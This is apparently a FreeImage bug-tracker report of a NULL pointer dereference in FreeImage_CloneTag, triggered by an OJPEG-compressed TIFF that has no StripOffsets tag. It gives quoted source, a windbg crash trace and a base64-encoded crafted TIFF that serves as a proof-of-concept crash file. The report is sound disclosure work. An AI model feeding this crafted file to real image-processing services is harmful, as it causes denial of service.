Menu

#335 A NULL pointer dereference exists in function FreeImage_CloneTag() located in PluginTIFF.cpp

open
nobody
None
5
2021-08-26
2021-08-26
0x79h
No

tl;dr:
When Load TIFF format files, field "StripOffsets" is read from file. If the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy().

When the program Open a TIFF format file, it will be handed to the "TIFFFdOpen()" function of the 'PluginTIFF.cpp' file,
in "TIFFFdOpen()" functions, it call "TIFFReadDirectory()" function, and it use "hack" code. So field "StripOffsets" will set nullptr sometimes.

int
TIFFReadDirectory(TIFF* tif){
......
        if ((tif->tif_dir.td_compression==COMPRESSION_OJPEG) &&
            (isTiled(tif)==0) &&
            (tif->tif_dir.td_nstrips==1)) {
            /*

             * XXX: OJPEG hack.
             * If a) compression is OJPEG, b) it's not a tiled TIFF,
             * and c) the number of strips is 1,
             * then we tolerate the absence of stripoffsets tag,
             * because, presumably, all required data is in the
             * JpegInterchangeFormat stream.
             */
            TIFFSetFieldBit(tif, FIELD_STRIPOFFSETS);
......
}

When we Load a TIFF format file, it will be handed to the "Load()" function of the 'PluginTIFF.cpp' file, it will call FreeImage_CloneTag() with tag 'StripOffsets' finally.

FITAG * DLL_CALLCONV 
FreeImage_CloneTag(FITAG *tag) {
    if(!tag) return NULL;

    // allocate a new tag
    FITAG *clone = FreeImage_CreateTag();
    if(!clone) return NULL;

    try {
        // copy the tag
        FITAGHEADER *src_tag = (FITAGHEADER *)tag->data;
        FITAGHEADER *dst_tag = (FITAGHEADER *)clone->data;

        // tag ID
        dst_tag->id = src_tag->id;
        // tag key
        if(src_tag->key) {
            dst_tag->key = (char*)malloc((strlen(src_tag->key) + 1) * sizeof(char));
            if(!dst_tag->key) {
                throw FI_MSG_ERROR_MEMORY;
            }
            strcpy(dst_tag->key, src_tag->key);
        }
        // tag description
        if(src_tag->description) {
            dst_tag->description = (char*)malloc((strlen(src_tag->description) + 1) * sizeof(char));
            if(!dst_tag->description) {
                throw FI_MSG_ERROR_MEMORY;
            }
            strcpy(dst_tag->description, src_tag->description);
        }
        // tag data type
        dst_tag->type = src_tag->type;
        // tag count
        dst_tag->count = src_tag->count;
        // tag length
        dst_tag->length = src_tag->length;
        // tag value
        switch(dst_tag->type) {
            case FIDT_ASCII:
                dst_tag->value = (BYTE*)malloc((src_tag->length + 1) * sizeof(BYTE));
                if(!dst_tag->value) {
                    throw FI_MSG_ERROR_MEMORY;
                }
                memcpy(dst_tag->value, src_tag->value, src_tag->length);
                ((BYTE*)dst_tag->value)[src_tag->length] = 0;
                break;
            default:
                dst_tag->value = (BYTE*)malloc(src_tag->length * sizeof(BYTE));
                if(!dst_tag->value) {
                    throw FI_MSG_ERROR_MEMORY;
                }
                memcpy(dst_tag->value, src_tag->value, src_tag->length);                    //<---- src_tag->value = nullptr
                break;
        }

        return clone;

    } catch(const char *message) {
        FreeImage_DeleteTag(clone);
        FreeImage_OutputMessageProc(FIF_UNKNOWN, message);
        return NULL;
    }
}

So if the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy(). It allows an attacker to cause Denial of Service.


windbg:

ModLoad: 10000000 105ee000   D:\temp\_zzz\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\Windows\SysWOW64\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\Windows\SysWOW64\WS2_32.dll
ModLoad: 77050000 7710f000   C:\Windows\SysWOW64\RPCRT4.dll
(8558.62d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=cbc20000 edx=00000000 esi=77442044 edi=7744260c
eip=774e1b72 esp=00aff42c ebp=00aff458 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000> g
(8558.62d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for D:\temp\_zzz\FreeImage.dll
eax=00000008 ebx=06a8bff8 ecx=00000002 edx=00000008 esi=00000000 edi=0fd44ff8
eip=102a6e77 esp=00aff500 ebp=00aff54c iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
FreeImage!memcpy+0x507:
102a6e77 8b16            mov     edx,dword ptr [esi]  ds:002b:00000000=????????
0:000> kv
 # ChildEBP RetAddr      Args to Child              
00 00aff504 1006577c     0fd44ff8 00000000 00000008 FreeImage!memcpy+0x507 (FPO: [3,0,2]) (CONV: cdecl) [d:\agent\_work\4\s\src\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 657] 
01 00aff54c 10003dd0     0fd3efe8 00000001 0fd32ff8 FreeImage!FreeImage_CloneTag+0x13c
02 00aff590 1006ba21     00000001 06a87ff8 0fd36ff0 FreeImage!FreeImage_SetMetadata+0x3c0
03 00aff5d8 1006bb17     06a87ff8 1006bccd 06a87ff8 FreeImage!tiff_read_geotiff_profile+0xa91 (FPO: [Uses EBP] [2,11,4])
04 00aff634 100356a2     06a87ff8 06a63c88 00aff900 FreeImage!tiff_read_exif_tags+0x47
05 00aff664 10036c8b     06a63c88 06a87ff8 06a52fc8 FreeImage!_TIFFmemcmp+0xae2
06 00aff8ac 1000d9de     00aff900 06a52fc8 105f0700 FreeImage!_TIFFmemcmp+0x20cb (FPO: [5,139,3])
07 00aff8e0 1000da60     00000012 00aff900 06a52fc8 FreeImage!FreeImage_LoadFromHandle+0x8e (FPO: [Uses EBP] [4,3,2])
08 00aff90c 00b0107b     00000012 06a4efee 00000000 FreeImage!FreeImage_Load+0x50 (FPO: [3,4,2])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAFAAABAwABAAAAMDAAAAEBAwABAAAAMDAAAAMBAwABAAAABgAAAAYBAwABAAAAAAAAAB4ABAAMAAAABAAAAAAAAAAAAAAAAAA=
2 Attachments

Discussion


Log in to post a comment.

MongoDB Logo MongoDB